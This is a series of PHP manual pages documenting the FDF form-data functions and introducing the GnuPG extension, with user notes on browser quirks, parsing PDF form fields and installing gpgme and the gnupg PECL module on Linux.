Header("Content-type: application/vnd.fdf"); simply does not work in IE. The easiest method to automatically load the fdf file is to open the 'pdf' file via php. With use of Acrobat
document -> page action -> page open -> add -> javascript
and paste the following into the pdf file:

this.importAnFDF("my_fdf_file.fdf");

This will auto-load the fdf contents
Cheers Mike
Sergei 17-Mar-2003 11:43
I thought the following might save someone a lot of time. The example fdf snippet above, namely:

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

will not work (or there's at least a big possibility it won't) in IE (version 6 sure and I suspect lower versions as well) if you have session.auto_start on. Apparently, setting a cookie before feeding the fdf to the browser somehow messes it up. It works fine in Netscape though. I spent days on Google before I found a post somewhere about someone else having the same problem.

The solution? Well, I created a separate directory in the web tree and turned session.auto_start off just for that directory like this:

<Location /new_directory>
    php_admin_flag session.auto_start 0
</Location>

Hope this was useful to somebody.
fdf_close
fdf_enum_values
FDF Functions


Call a user defined function for each document value

fdf_create
fdf_errno
FDF Functions
PHP Manual

fdf_enum_values

(PHP 4 >= 4.3.0, PHP 5)

fdf_enum_values — Call a user defined function for each document value

Description

bool fdf_enum_values ( resource $fdf_document , callback $function [, mixed $userdata ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

ceo at l-i-e dot com 10-Jul-2003 11:13
If you need something like this in a pre 4.3 version, here is a rough hack I was working on before I realized I didn't need this after all.

        preg_match('/Fields\[(.*)\]/', $raw_pdf, $field_data);
        echo "Fields: ", htmlentities($field_data[1]), "<HR>\n";
        $field_data = $field_data[1];
        $key_value = explode(">><<", $field_data);
        $key_value[0] = substr($key_value[0], 2);
        $key_value[count($key_value) - 1] = substr($key_value[count($key_value) - 1], 0, -2);
        while (list(, $kv) = each($key_value)){
                list($key, $value) = explode("/V", $kv);
                $key = substr($key, 2);
                if ($key[0] == '('){
                        $key = substr($key, 1, -1);
                }
                if ($value[0] == '/'){
                        $value = substr($value, 1);
                }
                if ($value[0] == '('){
                        $value = substr($value, 1, -1);
                }
                echo "Key: $key Value: $value<BR>\n";
        }

The $raw_pdf can either be the $HTTP_RAW_POST_DATA before you write a submitted PDF, or it can just be the raw PDF data you would read from a PDF using, say:
$raw_pdf = implode("", file("/path/to/your/fdf/whatever.pdf"));

You'll probably need to tweak this to do something more interesting than just printing the stuff.

Hmmmm.  Think they'll throw me in jail for this post?  Oh well.
fdf_create
fdf_errno
FDF Functions


Return error code for last fdf operation

fdf_enum_values
fdf_error
FDF Functions
PHP Manual

fdf_errno

(PHP 4 >= 4.3.0, PHP 5)

fdf_errno — Return error code for last fdf operation

Description

int fdf_errno ( void )

Gets the error code set by the last FDF function call.

A textual description of the error may be obtained using with fdf_error().

Return Values

Returns the error code as an integer, or zero if there was no errors.

See Also

  • fdf_error() - Return error description for FDF error code

User Contributed Notes

There are no user contributed notes for this page.
fdf_enum_values
fdf_error
FDF Functions


Return error description for FDF error code

fdf_errno
fdf_get_ap
FDF Functions
PHP Manual

fdf_error

(PHP 4 >= 4.3.0, PHP 5)

fdf_error — Return error description for FDF error code

Description

string fdf_error ([ int $error_code = -1 ] )

Gets a textual description for the FDF error code given in error_code.

Parameters

error_code

An error code obtained with fdf_errno(). If not provided, this function uses the internal error code set by the last operation.

Return Values

Returns the error message as a string, or the string no error if nothing went wrong.

See Also

  • fdf_errno() - Return error code for last fdf operation

User Contributed Notes

There are no user contributed notes for this page.
fdf_errno
fdf_get_ap
FDF Functions


Get the appearance of a field

fdf_error
fdf_get_attachment
FDF Functions
PHP Manual

fdf_get_ap

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_ap — Get the appearance of a field

Description

bool fdf_get_ap ( resource $fdf_document , string $field , int $face , string $filename )

Gets the appearance of a field (i.e. the value of the /AP key) and stores it in a file.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

field

face

The possible values are FDFNormalAP, FDFRolloverAP and FDFDownAP.

filename

The appearance will be stored in this parameter.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
fdf_error
fdf_get_attachment
FDF Functions


Extracts uploaded file embedded in the FDF

fdf_get_ap
fdf_get_encoding
FDF Functions
PHP Manual

fdf_get_attachment

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_attachment — Extracts uploaded file embedded in the FDF

Description

array fdf_get_attachment ( resource $fdf_document , string $fieldname , string $savepath )

Extracts a file uploaded by means of the "file selection" field fieldname and stores it under savepath.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

savepath

May be the name of a plain file or an existing directory in which the file is to be created under its original name. Any existing file under the same name will be overwritten.

Note:

There seems to be no other way to find out the original filename but to store the file using a directory as savepath and check for the basename it was stored under.

Return Values

The returned array contains the following fields:

  • path - path were the file got stored
  • size - size of the stored file in bytes
  • type - mimetype if given in the FDF

Examples

Example #1 Storing an uploaded file

<?php
  $fdf = fdf_open_string($HTTP_FDF_DATA);
  $data = fdf_get_attachment($fdf, "filename", "/tmpdir");
  echo "The uploaded file is stored in $data[path]";
?>

User Contributed Notes

There are no user contributed notes for this page.
fdf_get_ap
fdf_get_encoding
FDF Functions


Get the value of the /Encoding key

fdf_get_attachment
fdf_get_file
FDF Functions
PHP Manual

fdf_get_encoding

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_encoding — Get the value of the /Encoding key

Description

string fdf_get_encoding ( resource $fdf_document )

Gets the value of the /Encoding key.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the encoding as a string. An empty string is returned if the default PDFDocEncoding/Unicode scheme is used.

See Also

  • fdf_set_encoding() - Sets FDF character encoding

User Contributed Notes

There are no user contributed notes for this page.
fdf_get_attachment
fdf_get_file
FDF Functions


Get the value of the /F key

fdf_get_encoding
fdf_get_flags
FDF Functions
PHP Manual

fdf_get_file

(PHP 4, PHP 5)

fdf_get_file — Get the value of the /F key

Description

string fdf_get_file ( resource $fdf_document )

Gets the value of the /F key.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the key value, as a string.

See Also

  • fdf_set_file() - Set PDF document to display FDF data in

User Contributed Notes

There are no user contributed notes for this page.
fdf_get_encoding
fdf_get_flags
FDF Functions


Gets the flags of a field

fdf_get_file
fdf_get_opt
FDF Functions
PHP Manual

fdf_get_flags

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_flags — Gets the flags of a field

Description

int fdf_get_flags ( resource $fdf_document , string $fieldname , int $whichflags )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
fdf_get_file
fdf_get_opt
FDF Functions


Gets a value from the opt array of a field

fdf_get_flags
fdf_get_status
FDF Functions
PHP Manual

fdf_get_opt

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_opt — Gets a value from the opt array of a field

Description

mixed fdf_get_opt ( resource $fdf_document , string $fieldname [, int $element = -1 ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
fdf_get_flags
fdf_get_status
FDF Functions


Get the value of the /STATUS key

fdf_get_opt
fdf_get_value
FDF Functions
PHP Manual

fdf_get_status

(PHP 4, PHP 5)

fdf_get_status — Get the value of the /STATUS key

Description

string fdf_get_status ( resource $fdf_document )

Gets the value of the /STATUS key.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the key value, as a string.

See Also

  • fdf_set_status() - Set the value of the /STATUS key

User Contributed Notes

There are no user contributed notes for this page.
fdf_get_opt
fdf_get_value
FDF Functions


Get the value of a field

fdf_get_status
fdf_get_version
FDF Functions
PHP Manual

fdf_get_value

(PHP 4, PHP 5)

fdf_get_value — Get the value of a field

Description

mixed fdf_get_value ( resource $fdf_document , string $fieldname [, int $which = -1 ] )

Gets the value for the requested field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

which

Elements of an array field can be retrieved by passing this optional parameter, starting at zero. For non-array fields, this parameter will be ignored.

Return Values

Returns the field value.

Changelog

Version | Description
4.3.0 | Support for arrays and the which parameter were added.

See Also

  • fdf_set_value() - Set the value of a field

User Contributed Notes

mclinden at informed dot net 17-Sep-2002 02:35
(i filed a bug report/feature request for this on bugs.php.net and assigned it to myself hartmut@php.net)

The default behavior for the FDF Toolkit is to return an FDFErcNoValue for the FDFGetValue when the field exists but has no value.

Whether or not this is truly an error is debateable. It seems to become an issue in documents created by Acrobat 5 when optional fields are included in a form with required fields since the default behavior seems to be to populate the HTTP_FDF_DATA with the results of the FDFNextFieldName enumerator, which would include the fields which have no value.

This would not be a problem except that the PHP function fdf_get_value() does not specifically test for the FDFErcNoValue condition but, instead, tests for the more general FDFErcOK. If this value is not the result of the error code, the system issues warnings (the display of which could be turned off), but the broader question is, should this be a warning condition at all?

Put another way, should a return of FDFErcNoValue for FDFGetValue be considered an event worth generating a warning?
fdf_get_status
fdf_get_version
FDF Functions


Gets version number for FDF API or file

fdf_get_value
fdf_header
FDF Functions
PHP Manual

fdf_get_version

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_version — Gets version number for FDF API or file

Description

string fdf_get_version ([ resource $fdf_document ] )

Return the FDF version for the given document, or the toolkit API version number if no parameter is given.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the version as a string. For the current FDF toolkit 5.0 the API version number is 5.0 and the document version number is either 1.2, 1.3 or 1.4.

See Also

  • fdf_set_version() - Sets version number for a FDF file

User Contributed Notes

There are no user contributed notes for this page.
fdf_get_value
fdf_header
FDF Functions


Sets FDF-specific output headers

fdf_get_version
fdf_next_field_name
FDF Functions
PHP Manual

fdf_header

(PHP 4 >= 4.3.0, PHP 5)

fdf_header — Sets FDF-specific output headers

Description

void fdf_header ( void )

This is a convenience function to set appropriate HTTP headers for FDF output. It sets the Content-type: to application/vnd.fdf.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
fdf_get_version
fdf_next_field_name
FDF Functions


Get the next field name

fdf_header
fdf_open_string
FDF Functions
PHP Manual

fdf_next_field_name

(PHP 4, PHP 5)

fdf_next_field_name — Get the next field name

Description

string fdf_next_field_name ( resource $fdf_document [, string $fieldname ] )

Gets the name of the field after the given field. This name can be used with several functions.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string. If not given, the first field will be assumed.

Return Values

Returns the field name as a string.

Examples

Example #1 Detecting all fieldnames in a FDF

<?php
$fdf = fdf_open($HTTP_FDF_DATA);
for ($field = fdf_next_field_name($fdf);
    $field != "";
    $field = fdf_next_field_name($fdf, $field)) {
    echo "field: $field\n";
}
?>

See Also

  • fdf_get_value() - Get the value of a field

User Contributed Notes

There are no user contributed notes for this page.
fdf_header
fdf_open_string
FDF Functions


Read a FDF document from a string

fdf_next_field_name
fdf_open
FDF Functions
PHP Manual

fdf_open_string

(PHP 4 >= 4.3.0, PHP 5)

fdf_open_string — Read a FDF document from a string

Description

resource fdf_open_string ( string $fdf_data )

Reads form data from a string.

You can use fdf_open_string() together with $HTTP_FDF_DATA to process FDF form input from a remote client.

Parameters

fdf_data

The data as returned from a PDF form or created using fdf_create() and fdf_save_string().

Return Values

Returns a FDF document handle, or FALSE on error.

Examples

Example #1 Accessing the form data

<?php
$fdf = fdf_open_string($HTTP_FDF_DATA);
/* ... */
fdf_close($fdf);
?>

See Also

  • fdf_open() - Open a FDF document
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save_string() - Returns the FDF document as a string

User Contributed Notes

There are no user contributed notes for this page.
fdf_next_field_name
fdf_open
FDF Functions


Open a FDF document

fdf_open_string
fdf_remove_item
FDF Functions
PHP Manual

fdf_open

(PHP 4, PHP 5)

fdf_open — Open a FDF document

Description

resource fdf_open ( string $filename )

Opens a file with form data.

You can also use fdf_open_string() to process the results of a PDF form POST request.

Parameters

filename

Path to the FDF file. This file must contain the data as returned from a PDF form or created using fdf_create() and fdf_save().

Return Values

Returns a FDF document handle, or FALSE on error.

Examples

Example #1 Accessing the form data

<?php
// Save the FDF data into a temp file
$fdffp = fopen("test.fdf", "w");
fwrite($fdffp, $HTTP_FDF_DATA, strlen($HTTP_FDF_DATA));
fclose($fdffp);

// Open temp file and evaluate data
$fdf = fdf_open("test.fdf");
/* ... */
fdf_close($fdf);
?>

See Also

  • fdf_open_string() - Read a FDF document from a string
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save() - Save a FDF document

User Contributed Notes

There are no user contributed notes for this page.
fdf_open_string
fdf_remove_item
FDF Functions


Sets target frame for form

fdf_open
fdf_save_string
FDF Functions
PHP Manual

fdf_remove_item

(PHP 4 >= 4.3.0, PHP 5)

fdf_remove_item — Sets target frame for form

Description

bool fdf_remove_item ( resource $fdf_document , string $fieldname , int $item )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
fdf_open
fdf_save_string
FDF Functions


Returns the FDF document as a string

fdf_remove_item
fdf_save
FDF Functions
PHP Manual

fdf_save_string

(PHP 4 >= 4.3.0, PHP 5)

fdf_save_string — Returns the FDF document as a string

Description

string fdf_save_string ( resource $fdf_document )

Returns the FDF document as a string.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the document as a string, or FALSE on error.

Examples

Example #1 Retrieving FDF as a string

<?php
$fdf = fdf_create();
fdf_set_value($fdf, "foo", "bar");
$str = fdf_save_string($fdf);
fdf_close($fdf);
echo $str;
?>

The above example will output:

%FDF-1.2
%âãÏÓ
1 0 obj
<<
/FDF << /Fields 2 0 R >>
>>
endobj
2 0 obj
[
<< /T (foo)/V (bar)>>
]
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

See Also

  • fdf_open_string() - Read a FDF document from a string
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save() - Save a FDF document

User Contributed Notes

There are no user contributed notes for this page.
fdf_remove_item
fdf_save
FDF Functions


Save a FDF document

fdf_save_string
fdf_set_ap
FDF Functions
PHP Manual

fdf_save

(PHP 4, PHP 5)

fdf_save — Save a FDF document

Description

bool fdf_save ( resource $fdf_document [, string $filename ] )

Saves a FDF document.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

filename

If provided, the resulting FDF will be written in this parameter. Otherwise, this function will write the FDF to the default PHP output stream.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save_string() - Returns the FDF document as a string

User Contributed Notes

karsten at k-fish dot de 11-Apr-2003 10:18
The doc says that an empty file name will cause PHP to output the FDF to 'stdout'. I had no success on this (with PHP 4.2.3 and fdftk v5): no string, an empty string and null all returned a message complaining about 'wrong parameter count'.

So I used the way (saving to a file and using passthru) given as an example on the page describing fdf_create(), and added a uniqid(rand(),1) to the filename to avoid clashes. This worked well.
fdf_save_string
fdf_set_ap
FDF Functions


Set the appearance of a field

fdf_save
fdf_set_encoding
FDF Functions
PHP Manual

fdf_set_ap

(PHP 4, PHP 5)

fdf_set_ap — Set the appearance of a field

Description

bool fdf_set_ap ( resource $fdf_document , string $field_name , int $face , string $filename , int $page_number )

Sets the appearance of a field (i.e. the value of the /AP key).

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

field_name

face

The possible values FDFNormalAP, FDFRolloverAP and FDFDownAP.

filename

page_number

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
fdf_save
fdf_set_encoding
FDF Functions


Sets FDF character encoding

fdf_set_ap
fdf_set_file
FDF Functions
PHP Manual

fdf_set_encoding

(PHP 4 >= 4.0.7, PHP 5)

fdf_set_encoding — Sets FDF character encoding

Description

bool fdf_set_encoding ( resource $fdf_document , string $encoding )

Sets the character encoding for the FDF document.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

encoding

The encoding name. The following values are supported: "Shift-JIS", "UHC", "GBK" and "BigFive".

An empty string resets the encoding to the default PDFDocEncoding/Unicode scheme.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_ap
fdf_set_file
FDF Functions


Set PDF document to display FDF data in

fdf_set_encoding
fdf_set_flags
FDF Functions
PHP Manual

fdf_set_file

(PHP 4, PHP 5)

fdf_set_file — Set PDF document to display FDF data in

Description

bool fdf_set_file ( resource $fdf_document , string $url [, string $target_frame ] )

Selects a different PDF document to display the form results in then the form it originated from.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

url

Should be given as an absolute URL.

target_frame

Use this parameter to specify the frame in which the document will be displayed. You can also set the default value for this parameter using fdf_set_target_frame().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Passing FDF data to a second form

<?php
  /* set content type for Adobe FDF */
  fdf_header();

  /* start new fdf */
  $fdf = fdf_create();

  /* set field "foo" to value "bar" */
  fdf_set_value($fdf, "foo", "bar");

  /* tell client to display FDF data using "fdf_form.pdf" */
  fdf_set_file($fdf, "http://www.example.com/fdf_form.pdf");

  /* output fdf */
  fdf_save($fdf);

  /* clean up */
  fdf_close($fdf);
?>

See Also

  • fdf_get_file() - Get the value of the /F key
  • fdf_set_target_frame() - Set target frame for form display

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_encoding
fdf_set_flags
FDF Functions


Sets a flag of a field

fdf_set_file
fdf_set_javascript_action
FDF Functions
PHP Manual

fdf_set_flags

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_flags — Sets a flag of a field

Description

bool fdf_set_flags ( resource $fdf_document , string $fieldname , int $whichFlags , int $newFlags )

Sets certain flags of the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

whichFlags

newFlags

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_set_opt() - Sets an option of a field

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_file
fdf_set_javascript_action
FDF Functions


Sets an javascript action of a field

fdf_set_flags
fdf_set_on_import_javascript
FDF Functions
PHP Manual

fdf_set_javascript_action

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_javascript_action — Sets an javascript action of a field

Description

bool fdf_set_javascript_action ( resource $fdf_document , string $fieldname , int $trigger , string $script )

Sets a javascript action for the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

trigger

script

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_set_submit_form_action() - Sets a submit form action of a field

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_flags
fdf_set_on_import_javascript
FDF Functions


Adds javascript code to be executed when Acrobat opens the FDF

fdf_set_javascript_action
fdf_set_opt
FDF Functions
PHP Manual

fdf_set_on_import_javascript

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_on_import_javascript — Adds javascript code to be executed when Acrobat opens the FDF

Description

bool fdf_set_on_import_javascript ( resource $fdf_document , string $script , bool $before_data_import )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • fdf_add_doc_javascript() - Adds javascript code to the FDF document
  • fdf_set_javascript_action() - Sets an javascript action of a field

User Contributed Notes

Jake Marble 17-Jul-2007 10:20
This example would cause a browser to open 'a.pdf' and pop up an alert window AFTER setting a field value:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', false);

fdf_save($fdf);
fdf_close($fdf);
?>

Or, to execute the javascript BEFORE setting the field value, just change false to true:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', true);

fdf_save($fdf);
fdf_close($fdf);
?>
fdf_set_javascript_action
fdf_set_opt
FDF Functions


Sets an option of a field

fdf_set_on_import_javascript
fdf_set_status
FDF Functions
PHP Manual

fdf_set_opt

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_opt — Sets an option of a field

Description

bool fdf_set_opt ( resource $fdf_document , string $fieldname , int $element , string $str1 , string $str2 )

Sets options of the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

element

str1

str2

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_set_flags() - Sets a flag of a field

User Contributed Notes

ceo at l-i-e dot com 28-Jul-2003 05:01
For a nice example of how this works to populate a list box dynamically, see this URL:

http://www.fooassociates.com/phpfer/html/rn20re282.html
fdf_set_on_import_javascript
fdf_set_status
FDF Functions


Set the value of the /STATUS key

fdf_set_opt
fdf_set_submit_form_action
FDF Functions
PHP Manual

fdf_set_status

(PHP 4, PHP 5)

fdf_set_status — Set the value of the /STATUS key

Description

bool fdf_set_status ( resource $fdf_document , string $status )

Sets the value of the /STATUS key. When a client receives a FDF with a status set it will present the value in an alert box.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

status

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_get_status() - Get the value of the /STATUS key

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_opt
fdf_set_submit_form_action
FDF Functions


Sets a submit form action of a field

fdf_set_status
fdf_set_target_frame
FDF Functions
PHP Manual

fdf_set_submit_form_action

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_submit_form_action — Sets a submit form action of a field

Description

bool fdf_set_submit_form_action ( resource $fdf_document , string $fieldname , int $trigger , string $script , int $flags )

Sets a submit form action for the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

trigger

script

flags

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_set_javascript_action() - Sets an javascript action of a field

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_status
fdf_set_target_frame
FDF Functions


Set target frame for form display

fdf_set_submit_form_action
fdf_set_value
FDF Functions
PHP Manual

fdf_set_target_frame

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_target_frame — Set target frame for form display

Description

bool fdf_set_target_frame ( resource $fdf_document , string $frame_name )

Sets the target frame to display a result PDF defined with fdf_save_file() in.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

frame_name

The frame name, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_save_file()

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_submit_form_action
fdf_set_value
FDF Functions


Set the value of a field

fdf_set_target_frame
fdf_set_version
FDF Functions
PHP Manual

fdf_set_value

(PHP 4, PHP 5)

fdf_set_value — Set the value of a field

Description

bool fdf_set_value ( resource $fdf_document , string $fieldname , mixed $value [, int $isName ] )

Sets the value for the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

value

This parameter will be stored as a string unless it is an array. In this case all array elements will be stored as a value array.

isName

Note:

In older versions of the FDF toolkit last parameter determined if the field value was to be converted to a PDF Name (= 1) or set to a PDF String (= 0).

The value is no longer used in the current toolkit version 5.0. For compatibility reasons it is still supported as an optional parameter beginning with PHP 4.3, but ignored internally.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | Support for arrays in the value parameter was added.

See Also

  • fdf_get_value() - Get the value of a field
  • fdf_remove_item() - Sets target frame for form

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_target_frame
fdf_set_version
FDF Functions


Sets version number for a FDF file

fdf_set_value
GnuPG
FDF Functions
PHP Manual

fdf_set_version

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_version — Sets version number for a FDF file

Description

bool fdf_set_version ( resource $fdf_document , string $version )

Sets the FDF version for the given document.

Some features supported by this extension are only available in newer FDF versions.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

version

The version number. For the current FDF toolkit 5.0, this may be either 1.2, 1.3 or 1.4.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_get_version() - Gets version number for FDF API or file

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_value
GnuPG
FDF Functions


GNU Privacy Guard

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Clearsign text
  • GnuPG Functions
    • gnupg_adddecryptkey — Add a key for decryption
    • gnupg_addencryptkey — Add a key for encryption
    • gnupg_addsignkey — Add a key for signing
    • gnupg_cleardecryptkeys — Removes all keys which were set for decryption before
    • gnupg_clearencryptkeys — Removes all keys which were set for encryption before
    • gnupg_clearsignkeys — Removes all keys which were set for signing before
    • gnupg_decrypt — Decrypts a given text
    • gnupg_decryptverify — Decrypts and verifies a given text
    • gnupg_encrypt — Encrypts a given text
    • gnupg_encryptsign — Encrypts and signs a given text
    • gnupg_export — Exports a key
    • gnupg_geterror — Returns the errortext, if a function fails
    • gnupg_getprotocol — Returns the currently active protocol for all operations
    • gnupg_import — Imports a key
    • gnupg_init — Initialize a connection
    • gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern
    • gnupg_setarmor — Toggle armored output
    • gnupg_seterrormode — Sets the mode for error_reporting
    • gnupg_setsignmode — Sets the mode for signing
    • gnupg_sign — Signs a given text
    • gnupg_verify — Verifies a signed text

User Contributed Notes

There are no user contributed notes for this page.
fdf_set_version
Introduction
Non-Text MIME Output


Introduction

This module allows you to interact with » gnupg.

User Contributed Notes

There are no user contributed notes for this page.
GnuPG
Installing/Configuring
GnuPG


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
GnuPG


Requirements

The gnupg extension requires PHP 4.3. To use this extension in an OO style, PHP 5 is required.

This extension requires the » gpgme library

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gnupg.

User Contributed Notes

Heath 07-Oct-2010 07:38
On Debian 5.05 (Lenny) I needed to install libgpgme11-dev
mk at wintermute dot at 04-Feb-2009 03:49
Quick installation guide on Fedora 10:

Needed:
- c++ compiler
- php-pear
- gnupg
- libgpg-error
- gpgme
- gpgme-devel
- php-devel

Install with:
$ pecl install gnupg

Add an entry to /etc/php.ini:
extension=gnupg.so

Restart Apache > you're done.
sma dot azar at gmail dot com 02-Feb-2009 10:10
After spending so much time I could only install it on Linux and not Windows. There is very little instructions on the net about installation of this module, so I am going to write a small instructions that should help a straightforward installation on Linux without so much trouble.

Step 1: you will need a C++ compiler on your machine. For being sure try this command in the terminal:
<?php
sudo apt-get install g++
?>
Obviously you need GnuPG itself, so try:
<?php
sudo apt-get install gnupg
?>
Step 2: you will need "Libgpg-Error" downloaded and installed on your machine.
2-1: Download the code from http://www.gnupg.org/download/#libgpg-error
2-2: Extract it to a directory. In the terminal, change the directory to the Libgpg-error directory.
2-3: Configure the package for building and installation with below command:
<?php
./configure
?>
2-4: In the same directory make it with below command:
<?php
sudo make
?>
2-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 3: you will need "GnuPG Made Easy" (GPGME) downloaded and installed on your machine. Some sources will tell you that you can "apt-get install" it, but actually you cannot. So do it like the latter:
3-1: Download the source code from http://www.gnupg.org/download/#gpgme
3-2: Extract it to a directory. In the terminal, change the directory to the GPGME directory.
3-3: Configure the package for building and installation with below command:
<?php
./configure
?>
3-4: In the same directory make it with below command:
<?php
sudo make
?>
3-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 4: Given that you have a LAMP server already and have php installed, you will need "pear" and "php source codes". To add them use below commands:
<?php
sudo apt-get install php5-dev
sudo apt-get install php-pear
?>

Step 5: Now you can install GNU Privacy Guard for php using PECL command:
<?php
 sudo pecl install gnupg
?>
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

GNUPG_SIG_MODE_NORMAL (integer)
GNUPG_SIG_MODE_DETACH (integer)
GNUPG_SIG_MODE_CLEAR (integer)
GNUPG_VALIDITY_UNKNOWN (integer)
GNUPG_VALIDITY_UNDEFINED (integer)
GNUPG_VALIDITY_NEVER (integer)
GNUPG_VALIDITY_MARGINAL (integer)
GNUPG_VALIDITY_FULL (integer)
GNUPG_VALIDITY_ULTIMATE (integer)
GNUPG_PROTOCOL_OpenPGP (integer)
GNUPG_PROTOCOL_CMS (integer)
GNUPG_SIGSUM_VALID (integer)
GNUPG_SIGSUM_GREEN (integer)
GNUPG_SIGSUM_RED (integer)
GNUPG_SIGSUM_KEY_REVOKED (integer)
GNUPG_SIGSUM_KEY_EXPIRED (integer)
GNUPG_SIGSUM_KEY_MISSING (integer)
GNUPG_SIGSUM_SIG_EXPIRED (integer)
GNUPG_SIGSUM_CRL_MISSING (integer)
